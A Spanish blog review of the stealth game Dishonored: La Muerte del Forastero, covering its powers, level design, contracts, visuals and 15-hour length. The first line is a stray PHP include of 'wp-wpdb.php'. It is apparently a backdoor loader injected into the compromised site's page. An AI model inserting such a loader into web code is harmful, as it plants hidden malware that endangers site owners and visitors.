if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Dishonored: La Muerte del Forastero – La Fortaleza de LeChuck

Análisis Dishonored: La Muerte del Forastero

Aún recuerdo el buen sabor de boca que me dejó Dishonored 2 gracias al estupendo diseño de niveles y la libertad que ofrecía para completar una misión. Y aunque parecía que pasaría un tiempo hasta ver un nuevo episodio, Bethesda reveló en el E3 Dishonored: La Muerte del Forastero, un spin off en el que intentaremos acabar con un Dios.

Lo primero que debéis saber de Dishonored: La Muerte del Forastero es que es un título independiente, es decir, no necesitáis de Dishonored 2 para disfrutar de este spin off con Billie Lurk de protagonista. Sin embargo, haber jugado al segundo título de la saga hace más comprensible la historia, así que os animo a embarcaros en Dishonored 2 y así descubrir la historia de Emily y su extraordinaria jugabilidad y ambientación. Os aseguro que le da mil vueltas al primero.

Y ahora bien, ¿qué es La Muerte del Forastero? Pues ni más ni menos que la venganza de Billie Lurk contra ese extraño ser que vive en las ensoñaciones de muchos humanos y otorga un poder sobrenatural que para algunos es un don y para otros una maldición. Nuestra infame protagonista recorrerá los más perversos antros de fanáticos y gente de las altas esferas de Karnaca para dar caza al Forastero.

Este spin off sigue el buen hacer de Dishonored 2 en cuanto a jugabilidad y mecánicas, pero además añade algunas novedades. Para empezar, dispondremos de nuevos poderes como el de «semblanza», para hacernos pasar por otro humano; «presagio», habilidad que nos permite movernos unos segundos como un fantasma; y, por último, el poder de escuchar los mensajes encriptados de las ratas. Y no faltarán nuestras armas: espada en mano derecha y lanza proyectiles en la izquierda. Con esta equipación estaremos preparados para hacer frente a todo aquel individuo que se oponga a nuestros intereses.

¿Y si no queremos hacer uso de la fuerza? Pues de la misma forma que el anterior título, La Muerte del Forastero nos ofrece un sinfín de posibilidades para completar las misiones. El juego nos da pie a experimentar con el uso del sigilo y nuestras extraordinarias habilidades, las cuales nos permitirán colarnos en numerosas áreas y una vez allí decidir si eliminar al personal, o por el contrario ignorarlo o dejar tras de sí un reguero de cuerpos inconscientes. Pero si lo vuestro es el reto, aún hay algo mejor: irrumpir en las zonas, no dejar muertos y ser indetectable. Personalmente, creo que es mucho más divertido hacer el ninja y optar por la opción no letal, ya que se saborea mucho más el juego observando el patrón que siguen los personajes hostiles, buscando huecos por los que introducirse y usar las artimañas que nos ofrecen ciertos objetos del escenario.

Hablemos ahora sobre los niveles, pero antes… ¿Recordáis los de Dishonored 2? En mi análisis destaqué el fantástico diseño imaginativo y sus alternativas a la hora de acceder a cada uno de ellos. El trabajo de Arkane Studios fue alabado por diferentes medios dedicados a la industria, un trabajo exquisito que cuesta encontrar hoy en día y del que este título sigue haciendo gala. Me gustaría destacar el nivel del banco, uno de mis favoritos. Atracar bancos siempre es genial, pero si además podemos hacerlo a nuestra manera mucho más. ¿Qué quieres hacer? Puedes subir con el montacargas y alcanzar la azotea, o bien usar las cloacas… También puede ser una buena idea entrar por la puerta de servicio. Elijas la opción que elijas, todos los accesos están conectados, al igual que los atajos que servirán para escapar. Pero el banco es grande, con cientos de habitaciones, personal y jugosas cajas fuertes. Explorar una zona tan amplia es una gozada, por allí hallaremos documentos, libros con historias locales y audigrafos que, en ocasiones, serán pistas fundamentales para la misión. Por otro lado, también estarán escondidos los particulares amuletos para potenciar nuestros poderes y otros objetos para recuperar vida.

Aún no he hablado de las misiones secundarias, o aquí llamadas «Contratos», una serie de tareas a las que accederemos desde los tablones del Mercado Negro. Normalmente son encargos oscuros -mata aquí, secuestra allá…-pero llenarán nuestros bolsillos de monedas para gastar como nos venga en gana. Por ejemplo, acepté un contrato de secuestrar un camarero y meterlo en una caja en lo alto de una vivienda. Para ello tuve que armar una gorda en un bar de gente de dudosa moral hasta que me llevé al pobre tipo como un saco de patatas. Fue muy divertido y se agradece la inclusión de estas pequeñas tareas. Pero ojo, según el estado de la misión principal puede que el contrato aparezca como no completado, por lo que es recomendable dar prioridad a estos cometidos. Con este gran abanico de opciones, la jugabilidad de Dishonored: La Muerte del Forastero es inagotable, como así su rejugabilidad.

No hay mucho que decir en el apartado visual, el título continúa la senda de Dishonored 2, así que no es un juego que destaque por ello y tampoco es su intención. Los curiosos gráficos a medio camino entre realistas y «monigotes» funcionan muy bien contribuyendo con la ambientación de los rincones de Karnaca y las situaciones irónicas que nos ofrece a menudo el juego. El barrio alto de Cyria es una zona nueva que no habíamos visitado anteriormente y donde se respira ese ambiente lúgubre y decadente que la alta burguesía trata de ocultar. A medida que avanzamos en el juego, los sucesos aparecen en la primera plana de los periódicos, y los civiles hablan sobre ello. Vagar por sus calles a pie o desde las alturas ha sido tan estupendo como terminar las misiones del juego.

Dishonored: La Muerte del Forastero tiene una duración de 15 horas y es un derroche de jugabilidad a través de los originales niveles estupendamente diseñados para ofrecer al jugador la libertad de adaptar el juego a su estilo. Un título donde la historia no despunta especialmente pero el simple hecho de avanzar con nuestras habilidades es extremadamente divertido.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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